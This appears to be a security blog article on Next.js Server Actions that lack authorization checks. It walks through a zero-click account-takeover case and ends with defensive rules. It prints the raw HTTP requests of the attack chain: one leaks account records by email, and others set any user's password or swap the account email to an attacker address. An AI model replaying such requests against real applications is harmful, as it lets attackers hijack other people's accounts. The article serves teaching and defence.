Home / Articles

Why Next.js Server Actions Need Authorization Inside Every Function Body

A dissected account-takeover case shows how unauthenticated Next.js Server Actions expose privileged operations, and where the authorization check has to live to stop it.

Publisher: REACTAPP.TOP4 min read994 words

This article is published in English.

Sources: Unauthenticated Next.js Server Actions Leading to Zero Click Account Takeover

Next.js Server Actions let a React component call a server function directly, with no API route in between. That convenience removes the one place many teams are used to putting an authorization check: the route handler. When the check does not move into the function body along with the logic, the function becomes callable by anyone who can find its identifier. The case below walks through exactly that failure on a real subscription portal, where two unprotected actions chained into a zero-click account takeover, and then draws the defensive rules that would have closed it.

How Server Actions actually dispatch

Under the App Router, a Server Action is a server function invoked straight from a component. The framework assigns each action a 40-character hexadecimal ID, ships that ID into the client bundle, and turns an invocation into a POST request carrying a Next-Action header. The crucial detail is that dispatch keys off that header, not off the URL path, and the request body is simply the function's arguments passed positionally.

That design has a consequence that is easy to miss. There is no route file to wrap in middleware, so there is no natural choke point where a framework-level guard runs before your code. If the authorization check is not written inside the function itself, there is no check at all. Anyone who extracts the action IDs from the shipped bundle and reconstructs the argument shapes from the minified call sites can replay the request with no session cookie attached.

The first action: an email in, a privileged record out

On the portal in question, a request sent with no cookies, no authorization header, and nothing else that would identify a caller reached the first action. The body carried only an email address and a boolean.

POST /particuliers/integrale-web-mensuel-2116 HTTP/2
Host: subdomain.target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: 42a24b711d12f695d798b371e38b584c551ebb6a
Content-Type: text/plain;charset=UTF-8
Accept: text/x-component
["victim@gmail.com",true]

The response returned the full account record for that email.

{
"user_id": "auth0|000000000000000000000001",
"email": "researcher@example.com",
"identities": [
{ "provider": "auth0", "connection": "www-target-com" }
],
"app_metadata": {
"subscriber_number": "900000000",
"custom_user_id": "00000000–0000–4000–8000–000000000000"
}
}

The shape of that payload is the tell. Fields like identities and app_metadata are not served by an identity provider's public authentication API; they come from its Management API, the administrative interface reached with a machine-to-machine token holding scopes such as reading and updating users. Getting them back from an unauthenticated call means a privileged token was sitting on the server, and an anonymous function was quietly using it. Beyond being a finding on its own, the response also handed over two values the next action needed: a user ID and a connection name.

The second action: setting any user's password

The second action accepted an object and a string. The object held a password and a connection; the string was a user ID. Sent against a test account, still with no authentication, it looked like this.

POST / HTTP/2
Host: subdomain.target.com
Next-Action: 89abcdef0123456789abcdef0123456789abcdef
Content-Type: text/plain;charset=UTF-8
Accept: text/x-component
[{"password":"<REDACTED>","connection":"www-target-com"},"auth0|000000000000000000000001"]

The request proved nothing: no session cookie, no knowledge of the existing password, no reset token or emailed confirmation, and no step-up prompt. The server responded with success and the updated user object. The decisive flaw is where the user ID comes from: it is the second argument, supplied by the caller, rather than read from a session or a signed token's subject claim. The function changes whichever account it is told to.

Same action, a different field, a hijacked recovery path

Because the first argument is passed straight through to the identity provider's user update, whichever field you place in it is the field that changes. Swapping the password for an email address updates the account's email instead.

POST / HTTP/2
Host: subscribe.target.com
Next-Action: 89abcdef0123456789abcdef0123456789abcdef
Content-Type: text/plain;charset=UTF-8
Accept: text/x-component
[{"email":"attacker@example.com","connection":"www-target-com"},"auth0|000000000000000000000001"]

The result was the same success with the same absence of any ownership check. This variant is worse than it first appears: the address on an account is where password resets are delivered, so once it belongs to an attacker, the real owner's recovery flow no longer leads back to them. Because a password is set outright rather than a session being borrowed, the resulting access does not expire on its own.

The rules this case teaches

Server Actions are backend endpoints wearing a function's clothes, and they deserve the same suspicion. Put the authorization check inside every action that touches privileged data or state, and confirm the caller before doing anything else. Derive the acting user's identity from the session or a verified token, never from an argument the client controls, so a request cannot name a victim's ID and have the server obey. Keep privileged provider tokens away from code paths reachable without authentication. And treat action IDs as public, because they ship to the browser; obscurity is not access control. Any function a client can name is a function an attacker can call, and the only thing standing between them and your data is the check you wrote in the body.